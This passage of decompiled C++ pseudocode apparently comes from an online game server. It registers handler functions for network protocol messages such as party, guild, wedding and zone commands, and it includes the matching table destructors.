(PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 219, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_OBSERVER_OUT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 37, 60, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_HOLY_PROMISE_GET_CEN_REWARD_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 37, 64, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_HOLY_PROMISE_WITHDRAW_CEN_REWARD_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 18, 42, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_SKILL_REPLYREVIVE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 57, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_REVIVEITEMUSE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 45, 16, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ); } // 422A00: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_NC_BAT_BASHSTART_CMD(_DWORD, _DWORD, _DWORD, _DWORD); // 4DDDD0: using guessed type void *ShineObjectClass__ShinePlayer__sp_NC_ITEM_PICK_REQ; // 4E55D0: using guessed type void *ShineObjectClass__ShinePlayer__sp_NC_ITEM_UNEQUIP_REQ; // 509F20: using guessed type void *ShineObjectClass__ShinePlayer__sp_NC_MINIHOUSE_LOGINCOMPLETE_REQ; // 512DF0: using guessed type void *ShineObjectClass__ShinePlayer__sp_NC_BAT_SKILLBASH_FLD_CAST_REQ; // 5132C0: using guessed type void *ShineObjectClass__ShinePlayer__sp_NC_BAT_SKILLBASH_OBJ_CAST_REQ; // 52BA10: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_NC_ACT_WEDDING_PROPOSEACK_ACK(_DWORD, _DWORD, _DWORD, _DWORD); // 52C020: using guessed type void *ShineObjectClass__ShinePlayer__sp_NC_ACT_WEDDING_AGREEMENT_DIVORCE_REQ; // 52C260: using guessed type void *ShineObjectClass__ShinePlayer__sp_NC_ACT_WEDDING_COMPULSORY_DIVORCE_REQ; // 52C530: using guessed type void *ShineObjectClass__ShinePlayer__sp_NC_ACT_WEDDING_DIVORCE_REFUSE_CMD; // 52C650: using guessed type void *ShineObjectClass__ShinePlayer__sp_NC_CHAR_WEDDING_PARTNER_INFO_REQ; //----- (00497E50) -------------------------------------------------------- void __thiscall PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(PROTOCOLFUNCTIONTEMPLETE *this) { char *v1; // ebx@1 void **v2; // esi@1 signed int v3; // edi@1 this->vfptr = (PROTOCOLFUNCTIONTEMPLETEVtbl *)PROTOCOLFUNCTIONTEMPLETE::_vftable_; v1 = (char *)this->4100; v2 = (void **)this->pft_funcpnt; v3 = 1024; do { if ( *v2 != v1 ) operator delete__(*v2); ++v2; --v3; } while ( v3 ); } // 5B0F0C: using guessed type int (__thiscall *PROTOCOLFUNCTIONTEMPLETE_void ___thiscall GameLogSession_____NETCOMMAND __int_____vftable_[4])(void *p, char); //----- (00497E80) -------------------------------------------------------- void *__thiscall PROTOCOLFUNCTIONTEMPLETE::_vector_deleting_destructor_(PROTOCOLFUNCTIONTEMPLETE *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00497EA0) -------------------------------------------------------- void __cdecl protocolstore(PROTOCOLFUNCTIONTEMPLETE *pf) { PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 1, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))GameLogSession::gls_NC_MISC_S2SCONNECTION_RDY); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 3, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))GameLogSession::gls_NC_MISC_S2SCONNECTION_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 4, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))GameLogSession::gls_NC_MISC_HEARTBEAT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 5, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShineObject::so_ply_AdminCommand); } //----- (00497EF0) -------------------------------------------------------- void __thiscall PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(PROTOCOLFUNCTIONTEMPLETE *this) { char *v1; // ebx@1 void **v2; // esi@1 signed int v3; // edi@1 this->vfptr = (PROTOCOLFUNCTIONTEMPLETEVtbl *)PROTOCOLFUNCTIONTEMPLETE::_vftable_; v1 = (char *)this->this; v2 = (void **)this->pft_funcpnt; v3 = 1024; do { if ( *v2 != v1 ) operator delete__(*v2); ++v2; --v3; } while ( v3 ); } // 5B0F10: using guessed type int (__thiscall *PROTOCOLFUNCTIONTEMPLETE_void ___thiscall OPToolSession_____NETCOMMAND ______vftable_[3])(void *p, char); //----- (00497F20) -------------------------------------------------------- void *__thiscall PROTOCOLFUNCTIONTEMPLETE::_scalar_deleting_destructor_(PROTOCOLFUNCTIONTEMPLETE *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00497F40) -------------------------------------------------------- void __cdecl protocolstore(PROTOCOLFUNCTIONTEMPLETE *pf) { PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 2, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))OPToolSession::opts_NC_MISC_S2SCONNECTION_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 3, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))OPToolSession::opts_NC_MISC_S2SCONNECTION_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 4, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))OPToolSession::opts_NC_MISC_HEARTBEAT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 5, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShineObject::so_LostSP); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 10, 7, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))OPToolSession::opts_NC_OPTOOL_CONNECT_BRIF_REQ); } //----- (00497FA0) -------------------------------------------------------- void __thiscall PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(PROTOCOLFUNCTIONTEMPLETE *this) { char *v1; // ebx@1 void **v2; // esi@1 signed int v3; // edi@1 this->vfptr = (PROTOCOLFUNCTIONTEMPLETEVtbl *)PROTOCOLFUNCTIONTEMPLETE::_vftable_; v1 = (char *)this->4100; v2 = (void **)this->pft_funcpnt; v3 = 1024; do { if ( *v2 != v1 ) operator delete__(*v2); ++v2; --v3; } while ( v3 ); } // 5B0F14: using guessed type int (__thiscall *PROTOCOLFUNCTIONTEMPLETE_void ___thiscall WorldManagerSession_____NETCOMMAND __int_____vftable_[2])(void *p, char); //----- (00497FD0) -------------------------------------------------------- void *__thiscall PROTOCOLFUNCTIONTEMPLETE::_vector_deleting_destructor_(PROTOCOLFUNCTIONTEMPLETE *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00497FF0) -------------------------------------------------------- void __cdecl protocolstore(PROTOCOLFUNCTIONTEMPLETE *pf) { PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 1, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_MISC_S2SCONNECTION_RDY); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 3, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_MISC_S2SCONNECTION_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 4, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_MISC_HEARTBEAT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 5, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShineObject::so_ply_AdminCommand); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 21, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_MISC_PINGTEST_TOOL_WM_ZONE_DB); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 22, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_MISC_PINGTEST_TOOL_WM_ZONE); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 33, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_MISC_TIMEFROMWORLD_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 37, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_MISC_WHSHANDLEREPAIR_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 43, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_MISC_CONNECTFROMWHERE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 3, 25, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_USER_CONNECTCUT2ZONE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 3, 22, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_USER_KICKOFFFROMWORLD_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 76, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_REGISTNUMBER_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 30, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_CHARDATAFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 31, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_BASE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 32, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_SHAPE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 33, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_QUEST_DOING_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 34, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_QUEST_DONE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 35, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_ABSTATE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 36, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_SKILL_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 37, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_PASSIVE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 41, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_GUILD_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 152, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_GUILD_ACADEMY_ZONE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 211, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_SINGLE_OPTION_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 46, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_ITEM_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 48, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_GAME_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 47, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_CHESTINFO_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 49, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_CHARTITLE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 29, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_CHARDATA_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 50, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_CHARGEDBUFF_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 14, 1, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_PARTY_FUNDAMENTAL_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 14, 8, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_PARTY_JOIN_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 14, 12, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_PARTY_LEAVE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 14, 22, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_PARTY_KICKOFF_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 14, 31, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_PARTY_DISMISS_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 14, 42, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_PARTY_CHANGEMASTER_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 14, 60, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_PARTY_LOGIN_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 14, 70, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_PARTY_LOGOUT_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 14, 77, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_PARTY_ITEM_LOOTING_ZONE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 14, 79, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_PARTY_MEMBERINFORM_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 6, 14, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_MAP_LINKRESERVE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 22, 13, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_KQ_W2Z_MAKE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 22, 17, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_KQ_W2Z_DESTROY_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 22, 15, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_KQ_W2Z_START_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 24, 6, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CT_CHARTTING_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 24, 7, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CT_ADD_FRIEND_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 67, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_ZONE_WAR_START_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 68, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_ZONE_WAR_END_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 71, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_ZONE_LIST_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 72, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_ZONE_MAKE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 73, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_ZONE_DELETE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 74, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_ZONE_MEMBER_JOIN_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 75, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_ZONE_MEMBER_LEAVE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 129, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_TOURNAMENT_START_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 121, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_GUILDWARCONFIRM_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 150, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_GUILDWARSTATUS_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 159, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_STORAGE_WITHDRAW_GRADE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 176, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_WORLD_RENAME_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 184, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_WORLD_RETYPE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 38, 113, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_GRADE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 38, 118, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_MEMBER_JOIN_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 38, 119, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_MEMBER_LEAVE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 38, 120, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_MASTER_TELEPORT_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 38, 121, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_MEMBER_GUILD_JOIN_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 38, 122, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_GUILD_BUFF_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 38, 123, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_GUILD_ACADEMY_MASTER_BUFF_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 31, 19, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_ZONE_PRISON_GO_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 31, 18, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_ZONE_PRISON_END_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 35, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_MISC_START_THE_BOOM_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 37, 50, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_HOLY_PROMISE_MY_UP_ZONE); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 37, 53, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_HOLY_PROMISE_MYUPPER_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 41, 2, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_INSTANCE_DUNGEON_DELETE_DUNGEON_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 178, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_WEDDING_CANCEL_WEDDING); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 199, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_TOURNAMENT_ZONE_MEMBERGRADE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 184, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_LINK_FROM_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 218, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_TOURNAMENT_ZONE_OBSERVER_ENTER_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 193, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_WORLD_USE_GUILD_TOKEN_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 227, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_TOURNAMENT_ZONE_JOIN_NEW_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 244, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_TOURNAMENT_GOLD_REFUND_ZONE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 203, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_GET_CHAT_BLOCK_SPAMER_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 45, 15, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_USER_CONNECTION_ZONE_CHANGE_CHAR_ID_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 38, 132, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_ACADEMY_REWARDSTORAGE_GRADE_INFO_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( 